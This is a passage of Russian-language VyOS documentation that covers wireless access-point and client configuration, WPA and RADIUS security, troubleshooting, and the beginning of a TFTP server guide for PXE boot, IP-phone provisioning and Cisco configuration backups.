set interfaces wireless wlan0 physical-device phy0
set interfaces wireless wlan0 mode b
commit
```

802.11g (2.4 GHz, до 54 Mbps):

```
set interfaces wireless wlan0 mode g
commit
```

802.11n (2.4/5 GHz, до 600 Mbps):

```
set interfaces wireless wlan0 mode n
commit
```

802.11ac (5 GHz, до 6.9 Gbps):

```
set interfaces wireless wlan0 mode ac
commit
```

802.11ax (2.4/5/6 GHz, WiFi 6):

```
set interfaces wireless wlan0 mode ax
commit
```

Смешанный режим (b/g):

```
set interfaces wireless wlan0 mode g
commit
```

### Ширина канала

20 MHz (по умолчанию):

```
set interfaces wireless wlan0 channel-width 20
commit
```

40 MHz (802.11n):

```
set interfaces wireless wlan0 channel-width 40
commit
```

80 MHz (802.11ac):

```
set interfaces wireless wlan0 channel-width 80
commit
```

160 MHz (802.11ac/ax):

```
set interfaces wireless wlan0 channel-width 160
commit
```

### Мощность передатчика

Снижение мощности (в dBm):

```
set interfaces wireless wlan0 reduce-transmit-power 5
commit
```

Значение указывает на сколько dBm уменьшить мощность от максимально разрешенной regulatory domain.

### Изоляция клиентов

Запрет прямого взаимодействия между беспроводными клиентами:

```
set interfaces wireless wlan0 isolate-stations
commit
```

Полезно для guest сетей и публичных WiFi.

### Maximum Stations

Ограничение количества одновременных подключений:

```
set interfaces wireless wlan0 max-stations 50
commit
```

### MAC-фильтрация

Разрешенные MAC-адреса:

```
set interfaces wireless wlan0 security station-address 00:11:22:33:44:55
set interfaces wireless wlan0 security station-address aa:bb:cc:dd:ee:ff
commit
```

Режим MAC-фильтрации:

```
set interfaces wireless wlan0 security mac-mode allow
commit
```

Режимы:
- `allow` - разрешить только указанные MAC
- `deny` - запретить указанные MAC

## Station режим (клиент)

### Подключение к WPA2 сети

Базовая конфигурация клиента:

```
set system wireless country-code ru
set interfaces wireless wlan0 type station
set interfaces wireless wlan0 address dhcp
set interfaces wireless wlan0 ssid 'ExistingNetwork'
set interfaces wireless wlan0 security wpa passphrase 'NetworkPassword'
commit
```

### Статический IP адрес

```
set interfaces wireless wlan0 type station
set interfaces wireless wlan0 address 192.168.1.100/24
set interfaces wireless wlan0 ssid 'Office-WiFi'
set interfaces wireless wlan0 security wpa passphrase 'SecurePass123'
commit
```

### Множественные адреса

```
set interfaces wireless wlan0 address 192.168.1.100/24
set interfaces wireless wlan0 address 2001:db8::100/64
commit
```

## Безопасность WPA

### WPA2-Personal (PSK)

Рекомендуемая конфигурация:

```
set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'StrongPassword123!'
commit
```

**Параметры**:
- `mode` - версия WPA (wpa, wpa2, wpa3, both)
- `cipher` - шифрование (CCMP, TKIP, CCMP+TKIP)
- `passphrase` - пароль (8-63 символа)

### WPA3-Personal (SAE)

Наиболее безопасный вариант:

```
set interfaces wireless wlan0 security wpa mode wpa3
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'VeryStrongPassword123!'
commit
```

WPA3 обеспечивает:
- Защиту от offline dictionary атак
- Forward secrecy
- Более сильное шифрование

### WPA2/WPA3 Mixed Mode

Совместимость со старыми устройствами:

```
set interfaces wireless wlan0 security wpa mode both
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'SecurePassword123'
commit
```

### Management Frame Protection

Защита управляющих фреймов (IEEE 802.11w):

```
set interfaces wireless wlan0 security wpa mgmt-frame-protection required
commit
```

Режимы:
- `disabled` - отключено
- `optional` - опционально (по умолчанию для WPA2)
- `required` - обязательно (по умолчанию для WPA3)

### WPA2-Enterprise (802.1X)

Аутентификация через RADIUS сервер:

```
set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa radius server 192.168.1.10 key 'RadiusSecret'
set interfaces wireless wlan0 security wpa radius server 192.168.1.10 port 1812
commit
```

Резервный RADIUS сервер:

```
set interfaces wireless wlan0 security wpa radius server 192.168.1.11 key 'RadiusSecret'
set interfaces wireless wlan0 security wpa radius server 192.168.1.11 port 1812
commit
```

RADIUS accounting:

```
set interfaces wireless wlan0 security wpa radius accounting-server 192.168.1.10 key 'RadiusSecret'
set interfaces wireless wlan0 security wpa radius accounting-server 192.168.1.10 port 1813
commit
```

## VLAN поддержка

### VLAN sub-interfaces

Создание VLAN интерфейсов:

```
set interfaces wireless wlan0 vif 10 address 192.168.10.1/24
set interfaces wireless wlan0 vif 10 description 'Guest WiFi'

set interfaces wireless wlan0 vif 20 address 192.168.20.1/24
set interfaces wireless wlan0 vif 20 description 'Corporate WiFi'

commit
```

### Dynamic VLAN (802.1X)

RADIUS сервер назначает VLAN на основе учетных данных:

```
set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa radius server 192.168.1.10 key 'RadiusSecret'
set interfaces wireless wlan0 security wpa dynamic-vlan
commit
```

RADIUS атрибуты для Dynamic VLAN:
- `Tunnel-Type = VLAN`
- `Tunnel-Medium-Type = IEEE-802`
- `Tunnel-Private-Group-Id = <VLAN-ID>`

## Множественные SSID

Создание нескольких виртуальных беспроводных интерфейсов:

```
# Primary SSID
set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 ssid 'Corporate'
set interfaces wireless wlan0 address 192.168.10.1/24
set interfaces wireless wlan0 channel 36
set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa passphrase 'CorpPassword'

# Guest SSID (виртуальный интерфейс)
set interfaces wireless wlan0-1 type access-point
set interfaces wireless wlan0-1 ssid 'Guest'
set interfaces wireless wlan0-1 address 192.168.20.1/24
set interfaces wireless wlan0-1 isolate-stations
set interfaces wireless wlan0-1 security wpa mode wpa2
set interfaces wireless wlan0-1 security wpa passphrase 'GuestPassword'

commit
```

## Расширенные параметры

### Beacon interval

Интервал отправки beacon фреймов (в миллисекундах):

```
set interfaces wireless wlan0 beacon-interval 100
commit
```

По умолчанию: 100 ms. Диапазон: 15-65535.

### DTIM period

Delivery Traffic Indication Message:

```
set interfaces wireless wlan0 dtim-period 2
commit
```

Определяет как часто отправлять buffered multicast/broadcast трафик спящим клиентам.

### RTS/CTS threshold

Request to Send / Clear to Send для предотвращения коллизий:

```
set interfaces wireless wlan0 rts-threshold 2347
commit
```

Значения:
- `0` - отключено
- `1-2347` - размер пакета в байтах для активации RTS/CTS

### Fragmentation threshold

Порог фрагментации пакетов:

```
set interfaces wireless wlan0 fragmentation-threshold 2346
commit
```

Пакеты больше указанного размера будут фрагментированы.

### Short preamble

Короткая преамбула (только 802.11b/g):

```
set interfaces wireless wlan0 short-preamble
commit
```

Может улучшить производительность с поддерживающими устройствами.

### WMM (WiFi Multimedia)

QoS для беспроводных сетей:

```
set interfaces wireless wlan0 wmm
commit
```

Приоритизация голоса, видео, best-effort и background трафика.

## Примеры конфигурации

### Домашняя WiFi точка доступа

```
set system wireless country-code ru

set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 address 192.168.1.1/24
set interfaces wireless wlan0 ssid 'HomeNetwork'
set interfaces wireless wlan0 channel 6
set interfaces wireless wlan0 mode n
set interfaces wireless wlan0 channel-width 40

set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'MyHomePassword123'

commit
```

### Корпоративная точка доступа с RADIUS

```
set system wireless country-code ru

set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 address 10.0.10.1/24
set interfaces wireless wlan0 ssid 'Corp-Enterprise'
set interfaces wireless wlan0 channel 36
set interfaces wireless wlan0 mode ac
set interfaces wireless wlan0 channel-width 80

set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa radius server 10.0.0.100 key 'RadiusSharedSecret'
set interfaces wireless wlan0 security wpa radius server 10.0.0.101 key 'RadiusSharedSecret'
set interfaces wireless wlan0 security wpa mgmt-frame-protection required

commit
```

### Guest WiFi с изоляцией

```
set system wireless country-code ru

set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 address 172.16.100.1/24
set interfaces wireless wlan0 ssid 'Guest-WiFi'
set interfaces wireless wlan0 channel 11
set interfaces wireless wlan0 mode n

set interfaces wireless wlan0 isolate-stations
set interfaces wireless wlan0 max-stations 100

set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'GuestAccess2024'

commit
```

### Dual-band точка доступа

2.4 GHz:

```
set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 address 192.168.10.1/24
set interfaces wireless wlan0 ssid 'MyNetwork-2.4G'
set interfaces wireless wlan0 channel 6
set interfaces wireless wlan0 mode n
set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'Password123'
commit
```

5 GHz:

```
set interfaces wireless wlan1 type access-point
set interfaces wireless wlan1 address 192.168.11.1/24
set interfaces wireless wlan1 ssid 'MyNetwork-5G'
set interfaces wireless wlan1 channel 36
set interfaces wireless wlan1 mode ac
set interfaces wireless wlan1 channel-width 80
set interfaces wireless wlan1 security wpa mode wpa2
set interfaces wireless wlan1 security wpa cipher CCMP
set interfaces wireless wlan1 security wpa passphrase 'Password123'
commit
```

### WiFi клиент с резервным каналом

```
set system wireless country-code ru

set interfaces wireless wlan0 type station
set interfaces wireless wlan0 address dhcp
set interfaces wireless wlan0 ssid 'MainNetwork'
set interfaces wireless wlan0 security wpa passphrase 'MainPassword'
set interfaces wireless wlan0 dhcp-options default-route-distance 10

commit
```

### Captive Portal интеграция

```
set system wireless country-code ru

set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 address 10.99.0.1/24
set interfaces wireless wlan0 ssid 'Public-WiFi'
set interfaces wireless wlan0 channel 6

# Открытая сеть (без WPA)
# Аутентификация через web-portal

set service dns forwarding listen-address 10.99.0.1

# Перенаправление на captive portal
set nat destination rule 100 inbound-interface name wlan0
set nat destination rule 100 protocol tcp
set nat destination rule 100 destination port 80
set nat destination rule 100 translation address 10.99.0.1
set nat destination rule 100 translation port 8080

commit
```

### WiFi мост для расширения сети

```
# Подключение к существующей WiFi
set interfaces wireless wlan0 type station
set interfaces wireless wlan0 ssid 'MainRouter'
set interfaces wireless wlan0 security wpa passphrase 'MainPassword'

# Создание моста с Ethernet
set interfaces bridge br0 member interface wlan0
set interfaces bridge br0 member interface eth0
set interfaces bridge br0 address dhcp

commit
```

## Операционные команды

### Просмотр состояния интерфейса

```
show interfaces wireless wlan0
```

Пример вывода:
```
wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
    link/ether 00:11:22:33:44:55 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.1/24 brd 192.168.10.255 scope global wlan0
    RX:  bytes  packets  errors  dropped  overrun  mcast
         1234567  12345   0       0        0        123
    TX:  bytes  packets  errors  dropped  carrier  collisions
         7654321  54321   0       0        0        0
```

### Информация о беспроводном интерфейсе

```
show interfaces wireless wlan0 info
```

Показывает:
- SSID
- Frequency/Channel
- Mode (AP/Station)
- Signal level (для Station mode)
- Подключенные клиенты (для AP mode)

### Список подключенных клиентов

```
show interfaces wireless wlan0 station
```

Пример вывода:
```
Station            Signal   RX Rate   TX Rate   Connected
aa:bb:cc:dd:ee:ff  -45 dBm  866 Mbps  866 Mbps  00:15:23
11:22:33:44:55:66  -52 dBm  433 Mbps  433 Mbps  01:23:45
```

### Сканирование доступных сетей

```
show interfaces wireless wlan0 scan
```

Показывает:
- SSID
- BSSID
- Channel
- Signal level
- Security (WPA/WPA2/Open)

### Физические возможности

```
show interfaces wireless wlan0 capabilities
```

Вывод:
- Поддерживаемые стандарты (802.11a/b/g/n/ac/ax)
- Поддерживаемые частоты
- Максимальная мощность
- HT/VHT capabilities

### Статистика

```
show interfaces wireless wlan0 statistics
```

### Мониторинг трафика

```
monitor interfaces wireless wlan0 traffic
```

### Сброс счетчиков

```
clear interfaces wireless wlan0 counters
```

## Устранение неполадок

### WiFi интерфейс не поднимается

Проверьте regulatory domain:

```
show system wireless country-code
```

Установите если отсутствует:

```
set system wireless country-code ru
commit
```

Проверьте состояние:

```
show interfaces wireless wlan0
```

Проверьте dmesg на ошибки драйвера:

```
show log | grep wlan0
```

### Клиенты не могут подключиться

Проверьте SSID и канал:

```
show interfaces wireless wlan0 info
```

Проверьте конфигурацию безопасности:

```
show configuration interfaces wireless wlan0 security
```

Просмотрите логи hostapd:

```
show log | grep hostapd
```

Убедитесь что канал доступен в regulatory domain:

```
show interfaces wireless wlan0 capabilities
```

### Низкая производительность

Проверьте signal level клиентов:

```
show interfaces wireless wlan0 station
```

Попробуйте другой канал (проверьте соседние сети):

```
show interfaces wireless wlan0 scan
```

Уменьшите ширину канала:

```
set interfaces wireless wlan0 channel-width 20
commit
```

Отключите WMM если есть проблемы:

```
delete interfaces wireless wlan0 wmm
commit
```

### Интерференция

Сканируйте доступные сети:

```
show interfaces wireless wlan0 scan
```

Выберите менее загруженный канал:
- 2.4 GHz: используйте 1, 6, или 11
- 5 GHz: выбирайте каналы вдали от соседних сетей

Уменьшите мощность передатчика:

```
set interfaces wireless wlan0 reduce-transmit-power 3
commit
```

### WPA3 несовместимость

Используйте mixed mode:

```
set interfaces wireless wlan0 security wpa mode both
commit
```

Или переключитесь на WPA2:

```
set interfaces wireless wlan0 security wpa mode wpa2
commit
```

### RADIUS аутентификация не работает

Проверьте доступность RADIUS сервера:

```
ping 192.168.1.10
```

Проверьте shared secret:

```
show configuration interfaces wireless wlan0 security wpa radius
```

Проверьте логи на RADIUS сервере.

Тестируйте с помощью radtest (если доступен):

```
radtest user password 192.168.1.10 0 RadiusSecret
```

### Частые отключения клиентов

Увеличьте beacon interval:

```
set interfaces wireless wlan0 beacon-interval 200
commit
```

Проверьте interference:

```
show interfaces wireless wlan0 scan
```

Отключите power saving на клиентах.

## Интеграция с другими сервисами

### DHCP сервер

```
set service dhcp-server shared-network-name WIFI subnet 192.168.10.0/24 range 0 start 192.168.10.100
set service dhcp-server shared-network-name WIFI subnet 192.168.10.0/24 range 0 stop 192.168.10.200
set service dhcp-server shared-network-name WIFI subnet 192.168.10.0/24 option default-router 192.168.10.1
set service dhcp-server shared-network-name WIFI subnet 192.168.10.0/24 option name-server 8.8.8.8

set interfaces wireless wlan0 address 192.168.10.1/24

commit
```

### DNS Forwarding

```
set service dns forwarding listen-address 192.168.10.1
set service dns forwarding allow-from 192.168.10.0/24

commit
```

### NAT (Internet доступ)

```
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.10.0/24
set nat source rule 100 translation address masquerade

commit
```

### Firewall

Ограничение Guest WiFi:

```
# Разрешить только Internet, запретить локальную сеть
set firewall ipv4 name GUEST-OUT default-action drop
set firewall ipv4 name GUEST-OUT rule 10 action accept
set firewall ipv4 name GUEST-OUT rule 10 state established
set firewall ipv4 name GUEST-OUT rule 10 state related

set firewall ipv4 name GUEST-OUT rule 20 action accept
set firewall ipv4 name GUEST-OUT rule 20 destination address !192.168.0.0/16

set firewall interface wlan0 out name GUEST-OUT

commit
```

### QoS для VoIP

```
set traffic-policy shaper WIFI-QOS bandwidth 100mbit
set traffic-policy shaper WIFI-QOS class 10 bandwidth 30%
set traffic-policy shaper WIFI-QOS class 10 priority 1
set traffic-policy shaper WIFI-QOS class 10 match VOIP ip dscp ef

set interfaces wireless wlan0 traffic-policy out WIFI-QOS

commit
```

### VLAN для множественных SSID

```
# Corporate SSID - VLAN 10
set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 ssid 'Corporate'
set interfaces wireless wlan0 vif 10 address 10.0.10.1/24

# Guest SSID - VLAN 20
set interfaces wireless wlan0-1 type access-point
set interfaces wireless wlan0-1 ssid 'Guest'
set interfaces wireless wlan0-1 vif 20 address 10.0.20.1/24

commit
```

## Мониторинг и диагностика

### Continuous monitoring

```
monitor interfaces wireless wlan0 traffic
```

### Capture WiFi трафика

```
monitor traffic interface wlan0
```

С фильтром:

```
monitor traffic interface wlan0 filter 'port 80 or port 443'
```

### Сбор статистики

Скрипт для мониторинга клиентов:

```bash
#!/bin/bash
while true; do
  clear
  echo "WiFi Clients - $(date)"
  echo "================================"
  /opt/vyatta/bin/vyatta-op-cmd-wrapper show interfaces wireless wlan0 station
  sleep 5
done
```

## Безопасность

### Рекомендации

1. **Используйте WPA3** если все клиенты поддерживают
2. **WPA2-Enterprise** для корпоративных сетей
3. **Изолируйте Guest WiFi** от основной сети
4. **Отключите WPS** (не поддерживается в VyOS)
5. **Скрывайте SSID** для дополнительной безопасности
6. **MAC фильтрация** как дополнительный уровень
7. **Регулярно меняйте пароли**
8. **Включите Management Frame Protection**
9. **Ограничивайте максимальное количество клиентов**
10. **Мониторьте подключенные устройства**

### Изоляция Guest сети

```
# Guest WiFi
set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 ssid 'Guest'
set interfaces wireless wlan0 address 172.16.99.1/24
set interfaces wireless wlan0 isolate-stations

# Firewall - только Internet
set firewall ipv4 name GUEST-TO-LAN default-action drop
set firewall zone guest from local firewall name GUEST-TO-LAN
set firewall zone guest interface wlan0

# NAT для Internet
set nat source rule 200 outbound-interface name eth0
set nat source rule 200 source address 172.16.99.0/24
set nat source rule 200 translation address masquerade

commit
```

## Производительность

### Оптимизация для высокой нагрузки

```
set interfaces wireless wlan0 wmm
set interfaces wireless wlan0 max-stations 100
set interfaces wireless wlan0 beacon-interval 100
set interfaces wireless wlan0 dtim-period 1

# Для 802.11ac/ax
set interfaces wireless wlan0 mode ac
set interfaces wireless wlan0 channel-width 80

commit
```

### Мониторинг производительности

```
show interfaces wireless wlan0 statistics
show interfaces wireless wlan0 station
```

## Лучшие практики

1. **Планирование каналов**
   - Используйте 1, 6, 11 для 2.4 GHz
   - Избегайте перекрытия с соседними сетями
   - 5 GHz предпочтительнее для высокой производительности

2. **Безопасность**
   - WPA2 минимум, WPA3 предпочтительно
   - Enterprise (RADIUS) для бизнеса
   - Изоляция guest сетей

3. **Производительность**
   - 5 GHz для высокой скорости
   - 80/160 MHz каналы для 802.11ac/ax
   - WMM для QoS
   - Ограничение количества клиентов

4. **Надежность**
   - Резервные RADIUS серверы
   - Мониторинг подключенных клиентов
   - Логирование событий

5. **Документация**
   - Описание всех SSID
   - Карта покрытия
   - Список MAC адресов (если используется фильтрация)

6. **Regulatory compliance**
   - Правильный country code
   - Соблюдение мощности передатчика
   - DFS для 5 GHz каналов

## Ограничения

- Производительность зависит от WiFi адаптера
- Не все адаптеры поддерживают AP mode
- WPA3 требует современное оборудование
- DFS каналы могут переключаться при обнаружении радара
- Количество одновременных SSID ограничено оборудованием
- Monitor mode может не поддерживаться всеми адаптерами

## Проверка совместимости оборудования

Список поддерживаемых адаптеров:

```
show interfaces wireless
```

Проверка возможностей:

```
show interfaces wireless wlan0 capabilities
```

Драйвера Linux с хорошей поддержкой AP mode:
- ath9k (Atheros)
- ath10k (Atheros)
- iwlwifi (Intel)
- rt2800 (Ralink)
- rtl8xxxu (Realtek)

## Следующие шаги

- [Firewall](/docs/vyos/firewall/) - защита беспроводной сети
- [DHCP Server](/docs/vyos/services/vyos-dhcp/) - автоматическая настройка клиентов
- [NAT](/docs/vyos/nat/) - предоставление доступа в Internet
- [QoS](/docs/vyos/qos/) - приоритизация трафика
- [VPN](/docs/vyos/vpn/) - безопасный удаленный доступ


---

# TFTP Server в VyOS

Source: https://opennix.org/docs/vyos/services/vyos-tftp/



TFTP (Trivial File Transfer Protocol) - это простой протокол передачи файлов, широко используемый для загрузки конфигураций, прошивок и образов на сетевое оборудование. VyOS может выступать в роли TFTP-сервера для централизованного управления конфигурациями устройств.

## Основные возможности

- **Простота**: Минимальные требования к клиентам (нет аутентификации)
- **PXE Boot**: Загрузка операционных систем по сети (бездисковые рабочие станции)
- **Сетевое оборудование**: Загрузка конфигураций и прошивок на коммутаторы, маршрутизаторы, IP-телефоны
- **Backup конфигураций**: Централизованное хранение конфигураций устройств
- **Низкие требования**: Работает поверх UDP, не требует установления соединения
- **Интеграция с DHCP**: Автоматическая настройка клиентов через DHCP option 66/67

## Особенности протокола TFTP

**Преимущества**:
- Простота реализации
- Минимальные требования к ресурсам
- Поддержка всеми сетевыми устройствами
- Работает в pre-boot окружении (PXE)

**Ограничения**:
- Нет аутентификации (только ACL по IP)
- Нет шифрования (передача в открытом виде)
- Максимальный размер файла: 32 МБ (расширенный режим до 4 ГБ)
- Только чтение и запись файлов (нет листинга директорий)
- UDP порт 69

**Рекомендации по безопасности**:
- Использовать только в доверенных сетях (management VLAN)
- Ограничивать доступ через firewall ACL
- Не хранить конфиденциальные данные
- Использовать read-only режим где возможно

## Базовая конфигурация

### Простой TFTP-сервер

```bash
# Включить TFTP-сервер
set service tftp-server listen-address 192.168.1.1

# Директория для файлов (по умолчанию /srv/tftp)
set service tftp-server directory /config/tftp

# Разрешить загрузку файлов на сервер
set service tftp-server allow-upload

commit
save
```

**Проверка**:
```bash
# Статус TFTP-сервера
show service tftp-server

# Проверить порт
show system connections port 69

# Посмотреть файлы в TFTP-директории
ls -lh /config/tftp
```

**Тестирование с клиента**:
```bash
# Linux
tftp 192.168.1.1
tftp> get test.txt
tftp> put backup.cfg
tftp> quit

# Или одной командой
tftp -m binary 192.168.1.1 -c get test.txt

# Windows
tftp -i 192.168.1.1 get test.txt
tftp -i 192.168.1.1 put backup.cfg
```

### TFTP с контролем доступа

```bash
# TFTP-сервер
set service tftp-server listen-address 192.168.100.1
set service tftp-server directory /config/tftp

# Разрешить только чтение (запретить upload)
delete service tftp-server allow-upload

# Firewall - разрешить доступ только с management сети
set firewall group network-group MGMT_NETWORKS network 192.168.100.0/24
set firewall group network-group MGMT_NETWORKS network 10.10.10.0/24

set firewall name MGMT_LOCAL rule 100 action accept
set firewall name MGMT_LOCAL rule 100 protocol udp
set firewall name MGMT_LOCAL rule 100 destination port 69
set firewall name MGMT_LOCAL rule 100 source group network-group MGMT_NETWORKS

# Применить firewall к интерфейсу
set firewall interface eth1 local name MGMT_LOCAL

commit
save
```

### Создание структуры директорий

```bash
# Создать директории для разных типов устройств
sudo mkdir -p /config/tftp/{configs,firmware,pxe,phones}
sudo chown -R tftp:tftp /config/tftp
sudo chmod -R 755 /config/tftp

# Для upload необходимы права записи
sudo chmod 777 /config/tftp/configs
```

**Структура директорий**:
```
/config/tftp/
├── configs/          # Конфигурации устройств
│   ├── switches/
│   ├── routers/
│   └── wireless/
├── firmware/         # Прошивки
│   ├── cisco/
│   ├── mikrotik/
│   └── ubiquiti/
├── pxe/             # PXE boot образы
│   ├── pxelinux.0
│   ├── kernel
│   └── initrd
└── phones/          # Конфигурации IP-телефонов
    ├── yealink/
    └── grandstream/
```

## Расширенная конфигурация

### Интеграция с DHCP для PXE Boot

```bash
# TFTP-сервер
set service tftp-server listen-address 192.168.1.1
set service tftp-server directory /config/tftp/pxe

# DHCP-сервер с опциями PXE
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option name-server 192.168.1.1

# DHCP Option 66 - TFTP server IP
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option tftp-server-name 192.168.1.1

# DHCP Option 67 - Boot filename
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option bootfile-name 'pxelinux.0'

commit
save
```

### TFTP для IP-телефонов

```bash
# TFTP для телефонов Yealink, Grandstream
set service tftp-server listen-address 192.168.10.1
set service tftp-server directory /config/tftp/phones

# DHCP для IP-телефонов (отдельная VLAN)
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 range 0 start 192.168.10.100
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 range 0 stop 192.168.10.200
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option default-router 192.168.10.1
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option name-server 192.168.10.1

# TFTP server для телефонов
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option tftp-server-name 192.168.10.1

# Option 66 (альтернативный синтаксис)
set service dhcp-server shared-network-name VOICE subnet 192.168.10.0/24 option tftp-server 192.168.10.1

commit
save
```

**Подготовка конфигураций телефонов**:
```bash
# Yealink - автоматическая настройка
sudo tee /config/tftp/phones/y000000000000.cfg > /dev/null <<'EOF'
#!version:1.0.0.1
account.1.enable = 1
account.1.label = Office
account.1.display_name = John Doe
account.1.auth_name = 1001
account.1.user_name = 1001
account.1.password = SecretPassword
account.1.sip_server.1.address = pbx.example.com
account.1.sip_server.1.port = 5060
EOF

# Grandstream
sudo tee /config/tftp/phones/cfg000b82000000 > /dev/null <<'EOF'
## Grandstream Config
P47 = pbx.example.com
P35 = 1001
P36 = SecretPassword
P34 = 1001
P3 = 5060
EOF

sudo chown tftp:tftp /config/tftp/phones/*.cfg
```

### TFTP для сетевого оборудования Cisco

```bash
# TFTP-сервер для Cisco устройств
set service tftp-server listen-address 10.0.0.1
set service tftp-server directory /config/tftp/cisco
set service tftp-server allow-upload

# Firewall - разрешить доступ только с устройств Cisco
set firewall group network-group CISCO_SWITCHES network 10.0.1.0/24
set firewall group network-group CISCO_SWITCHES network 10.0.2.0/24

set firewall name CISCO_MGMT_LOCAL rule 50 action accept
set firewall name CISCO_MGMT_LOCAL rule 50 protocol udp
set firewall name CISCO_MGMT_LOCAL rule 50 destination port 69
set firewall name CISCO_MGMT_LOCAL rule 50 source group network-group CISCO_SWITCHES

set firewall interface eth0 local name CISCO_MGMT_LOCAL

commit
save
```

**Резервное копирование конфигурации Cisco**:
```bash
# На Cisco устройстве
Switch# copy running-config tftp:
Address or name of remote host []? 10.0.0.1
Destination filename [switch-confg]? switch-01-backup.cfg

# Восстановление конфигурации
Switch# copy tftp: running-config
Address or name of remote host []? 10.0.0.1
Source filename []? switch-01-backup.cfg
```

### Автоматизация резервного копирования

```bash
# Скрипт для автоматического backup конфигураций Cisco
sudo tee /config/scripts/tftp-backup-cisco.sh > /dev/null <<'EOF'
#!/bin/bash
# Автоматическое резервное копирование конфигураций Cisco через TFTP

TFTP_DIR="/config/tftp/cisco/backups"
DATE=$(date +%Y%m%d-%H%M%S)
BACKUP_DIR="$TFTP_DIR/$DATE"

mkdir -p "$BACKUP_DIR"

# Список устройств (IP:hostname)
DEVICES=(
    "10.0.1.10:core-switch-01"
    "10.0.1.11:core-switch-02"
    "10.0.2.10:access-switch-01"
)

for device in "${DEVICES[@]}"; do
    IP="${device%%:*}"
    NAME="${device##*:}"

    echo "Backing up $NAME ($IP)..."

    # Использовать expect для автоматизации (требует установки expect)
    /usr/bin/expect <<EXPECT_EOF
    spawn ssh admin@$IP
    expect "Password:"
    send "YourPassword\r"
    expect "#"
    send "copy running-config tftp://10.0.0.1/$DATE/$NAME.cfg\r"
    expect "Address or name of remote host"
    send "\r"
    expect "Destination filename"
    send "\r"
    expect "#"
    send "exit\r"
EXPECT_EOF

    echo "Backup completed: $NAME"
done

# Удалить старые резервные копии (старше 30 дней)
find "$TFTP_DIR" -type d -mtime +30 -exec rm -rf {} \;

echo "All backups completed on $DATE"
EOF

sudo chmod +x /config/scripts/tftp-backup-cisco.sh

# Запланировать ежедневный backup в 3 утра
set system task-scheduler task cisco-backup interval '0 3 * * *'
set system task-scheduler task cisco-backup executable path '/config/scripts/tftp-backup-cisco.sh'

commit
save
```

## Примеры конфигурации

### 1. PXE Boot сервер для бездисковых станций

**Задача**: Настроить VyOS как PXE-сервер для загрузки Linux по сети.

```bash
# TFTP-сервер для PXE
set service tftp-server listen-address 192.168.1.1
set service tftp-server directory /config/tftp/pxe

# DHCP с PXE опциями
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.50
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.150
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option name-server 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option tftp-server-name 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option bootfile-name 'pxelinux.0'

commit
save
```

**Подготовка PXE окружения**:
```bash
# Установить необходимые пакеты
sudo mkdir -p /config/tftp/pxe/{pxelinux.cfg,images}

# Скачать PXELINUX
wget https://mirrors.edge.kernel.org/pub/linux/utils/boot/syslinux/syslinux-6.03.tar.gz
tar -xzf syslinux-6.03.tar.gz
sudo cp syslinux-6.03/bios/core/pxelinux.0 /config/tftp/pxe/
sudo cp syslinux-6.03/bios/com32/elflink/ldlinux/ldlinux.c32 /config/tftp/pxe/
sudo cp syslinux-6.03/bios/com32/menu/vesamenu.c32 /config/tftp/pxe/
sudo cp syslinux-6.03/bios/com32/libutil/libutil.c32 /config/tftp/pxe/

# Скачать Ubuntu Live для PXE
cd /config/tftp/pxe/images
wget http://archive.ubuntu.com/ubuntu/dists/jammy/main/installer-amd64/current/legacy-images/netboot/netboot.tar.gz
tar -xzf netboot.tar.gz

# Создать меню загрузки
sudo tee /config/tftp/pxe/pxelinux.cfg/default > /dev/null <<'EOF'
DEFAULT vesamenu.c32
TIMEOUT 300
PROMPT 0

MENU TITLE PXE Boot Menu

LABEL ubuntu-install
    MENU LABEL Install Ubuntu 22.04 Server
    KERNEL images/ubuntu-installer/linux
